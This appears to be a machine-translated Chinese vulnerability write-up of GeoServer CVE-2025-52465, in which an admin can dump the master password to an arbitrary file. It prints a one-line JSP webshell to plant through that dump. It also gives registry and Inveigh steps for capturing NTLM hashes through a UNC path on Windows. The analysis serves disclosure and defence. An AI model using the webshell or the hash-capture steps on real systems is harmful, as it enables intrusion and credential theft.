GeoLocateCVE-2025-52465-GeoServer漏洞利用"

admin 2026-10-20 13:33:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

GeoLocate CVE-2025-52465 - GeoServer漏洞利用

Ots安全

2026年6月26日 19:29
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

概述

GeoServer 是一个用 Java 编写的开源软件服务器,允许用户共享和编辑地理空间数据。它以互操作性为设计目标,使用开放标准发布来自任何主流空间数据源的数据。

待办事项:添加更多

GeoServerSecurityManager.java源代码文件java/org/geoserver/security 包用途writeMasterPasswordInfo()该函数用于跟踪任意明文密码转储到文件的过程,而不对文件内容进行任何检查。此代码可在以下位置找到:geoserver-main/geoserver-main/src/main/src/main/文件夹。

然后dumpMasterPassword()函数来自MasterPasswordInfoPage.java正在用于保存文件。

这种不安全行为至少会导致两种严重后果。

特别是,任何拥有“ADMIN”权限的用户都能够执行恶意操作。

引用旧文档:“主密码用于验证 root 帐户并保护对密钥库的访问。[...] 如果您忘记了主密码,您可以让 GeoServer 将其以纯文本形式写入您选择的文件。[...] 在“文件名”文本字段中提供完整的文件名路径,然后单击“转储到文件”按钮。”

因此,在分析代码之前,我们先总结一下利用代码漏洞的条件。目前来看,用户必须满足以下条件:

  • admin

  • 能够接触到目标

稍后我们将看到,第二次影响只有在满足额外条件的情况下才会发生在 Windows 目标上。

显然,我们必须先启动 GeoServer!默认情况下,实例将在您的本地计算机上的端口启动。8181 位于 /geoserver 端点如果你正在重复我的步骤。

如果您不确定 GeoServer 实例及其版本,请查看前几行日志。这些日志会显示 Jetty 版本、GeoServer 提交记录以及更多信息,帮助您了解是否存在漏洞。

2025-12-18 09:41:27.705:INFO::main: Logging initialized @555ms to org.eclipse.jetty.util.log.StdErrLog2025-12-18 09:41:28.102:INFO:oejs.Server:main: jetty-9.4.57.v20241219; built: 2025-01-08T21:24:30.412Z; git: df524e6b29271c2e09ba9aea83c18dc9db464a31; jvm 17.0.12+8-LTS-2862025-12-18 09:41:28.129:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:///C:/Program%20Files/GeoServer/webapps/] at interval 12025-12-18 09:41:29.757:INFO:oejw.StandardDescriptorProcessor:main: NO JSP Support for /geoserver, did not find org.eclipse.jetty.jsp.JettyJspServlet...

此外,如果您要查看 HTTP 请求日志,则必须查找以下 POST 请求:/geoserver/web/wicket/page终点:

POST /geoserver/web/wicket/page?9-1.-form HTTP/1.1Host: 127.0.0.1:8181....Content-Type: application/x-www-form-urlencodedContent-Length: 66....Cookie: JSESSIONID=[REDACTED].... save=x&fileName=[PAYLOAD]

代码坐标

现在我们需要检查代码。我们看到一些用于输出密码的函数,以及一个用于跟踪和记录流程的函数。

让我们来看看。写入主密码信息功能:

void writeMasterPasswordInfo(Resource file, String message, char[] masterPasswordArray) throws IOException {        try (BufferedWriter w = new BufferedWriter(new OutputStreamWriter(file.out()))) { ......        ......        w.write(\"This file was created at \" + dateFormat.format(new Date()));

而且dumpMasterPassword从MasterPasswordInfoPage.java:

boolean dumpMasterPassword() throws IOException {        return getSecurityManager().dumpMasterPassword(Files.asResource(new File(fileName)));    }}

调用dumpMasterPassword从GeoServerSecurityManager.java哪个使用写入主密码信息记录日志:

public boolean dumpMasterPassword(Resource file) throws IOException {....        String message = \"The current master password is: \";        writeMasterPasswordInfo(file, message, getMasterPassword());        return true;

我们看到一个经典的组合,用于将输出处理到文件中,但该文件由一个……管理。资源对象。这次的文件是Resource.java来自包裹org.geoserver.platform.resource可在以下地点获取geoserver-main\geoserver-main\src\platform\src\main\java\org\geoserver\platform\resource\

这本质上是管理并随后实现文件逻辑。攻击者传递给转储主密码功能的文件必须具有有效路径。这是执行攻击的下一个条件。

public interface Resource {    /** Enumeration indicating kind of resource used. */    public enum Type {        /**         * Resource directory (contents available using {@link Resource#list()}).         *         * @see File#isDirectory()         */        DIRECTORY,        /**         * Resource used for content. Content access available through {@link Resource#in()} and {@link Resource#out()}.         */        RESOURCE,....

ava 使用 java.io 的 Path 库处理文件路径——操作系统是透明的,路径以及不同操作系统之间的差异都由 Java 处理。例如,路径分隔符、元文件夹和链接等等。

由于 Java 技术栈的存在,Tomcat 和 Jetty 可以运行并解析 .jsp 文件。JSP 文件是 JavaServer Pages 文件,简单来说就是 Java + HTML,它用于服务器端,在 Java Web 应用程序中动态生成 HTML。这意味着它可能被滥用以执行 Java 代码。

请记住,密码以可逆加密形式存储,并以明文形式输出到指定路径。攻击者可以使用主密码编写 JSP Webshell。

默认情况下,GeoServer 没有设置最大密码长度,这使得管理员可以将恶意代码注入密码。这些数据随后可能被写入 JSP 文件,从而导致潜在的代码执行。

使用 Web 应用程序根目录下的 Tomcat 目录,通过提供的 Web 输入表单放置您的 JSP 文件。

<pre><%Runtime.getRuntime().exec(request.getParameter(\"pwave\"));%></pre>

另一个位置,Windows

这部分是我投入最多精力的地方。当然,我上面写的内容已经得到了维护人员的确认,但对我来说,最新颖的部分是这部分,也是我深入讲解的部分。

在这种情况下,人们错误地假设文件总是写入磁盘,但这并非总是如此。

例如,UNC 路径就是一个特殊情况:\\[ip]\[share]\[file]

注意:此攻击在 Microsoft Windows 系统上有效,因为文件路径名会根据操作系统约定进行解析。

在本例中,我们创建了另一个管理员用户 seconduser 来测试此漏洞。辅助管理员(或任何拥有该 dump 调用权限的用户)不知道原始主密码,因此无法通过 /web 模块更改密码,但他可以窃取密码。

从头开始重现此步骤如下:

  • 创建一个文件夹,并通过 SMB 共享(右键单击,选择“属性”>“共享”)

  • 检查 LSA 注册表,特别是 LmCompatibilityLevel 值。此值会影响 NTLM 的安全级别,Windows 的默认值因版本而异。您甚至可以启用它。

Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\"Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"LmCompatibilityLevel\" -Value [N]
  • 下载并运行 inveigh 来监控流量并记录哈希值:
.\\Inveigh-net4.6.2-v2.0.11> .\\Inveigh.exe
  • 使用 UNC 路径将文件发送到您的共享文件夹。Inveigh 将记录哈希值并将其打印出来。

此漏洞允许攻击者捕获身份验证材料,这些材料可以进行离线哈希破解,从而可能导致 GeoServer 计算机使用的凭据泄露。此外,在未强制执行消息签名等保护措施的环境中,NTLMv2 身份验证数据可以转发到其他系统,从而允许攻击者在与其它目标交互时冒充 GeoServer 计算机。

这是因为当 Windows 访问远程 SMB 共享时,它会自动尝试使用计算机的凭据进行身份验证。

这些凭据是 NTLM 哈希 v1 或 v2 - NETNTLM。

因此,当应用程序在 Windows 上运行时,操作系统会将“文件写入”操作透明地转换为网络身份验证事件。

结束

这是 CVE-2025-52465 的简要版本和解释,以及其中两个可能的影响。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


GeoLocateCVE-2025-52465-GeoServer漏洞利用" 网络安全文章

GeoLocateCVE-2025-52465-GeoServer漏洞利用"

该文档分析了GeoServer漏洞CVE-2025-52465,指出具有ADMIN权限的用户可利用writeMasterPasswordInfo函数将主密码明文写入任意文件。漏洞可导致两种攻击:通过注入恶意代码到JSP文件实现代码执行,或在Windows系统下利用UNC路径触发SMB认证从而捕获NTLM哈希。文档提供了漏洞复现步骤包括启动GeoServer、构造POST请求及利用Inveigh工具监控哈希。
CVE-2026-25860-OpenClinicGA反射型XSS漏洞导致远程代码执行" 网络安全文章

CVE-2026-25860-OpenClinicGA反射型XSS漏洞导致远程代码执行"

CVE-2026-25860是OpenClinicGA医疗信息系统中一个反射型XSS漏洞,攻击者通过构造恶意DICOM文件在StudyDescription等元数据字段注入JavaScript代码,利用认证会话修改系统配置参数,最终通过storePicture.jsp实现远程命令执行。文档详细分析了漏洞链利用过程,提供了Docker环境搭建指南和漏洞复现步骤,属于典型的WEB安全漏洞链分析案例。
据报道,OpenAI应特朗普政府要求推迟发布ChatGPT5.6" 网络安全文章

据报道,OpenAI应特朗普政府要求推迟发布ChatGPT5.6"

特朗普政府要求OpenAI分阶段发布GPT-5.6模型,限制初始访问权限给政府批准的合作伙伴,理由是国家安全考量。此前政府曾强制Anthropic下线Fable5和Mythos5模型。GPT-5.6与Mythos在网络安全能力上相当,将通过有限预览方式发布,这反映了联邦监管对AI模型发布的日益影响,但目前缺乏正式的监管框架。
4项量子计算国家标准正式发布" 网络安全文章

4项量子计算国家标准正式发布"

近日国家发布4项量子计算国家标准,涵盖系统性能测试、服务平台架构与性能评估、极低温系统等领域。这些标准解决了硬件参数不统一、平台互不兼容等产业痛点,建立了从硬件到云服务的全链条标准体系,为产业规范化发展和国际竞争力提升提供技术支撑。
评论:0   参与:  0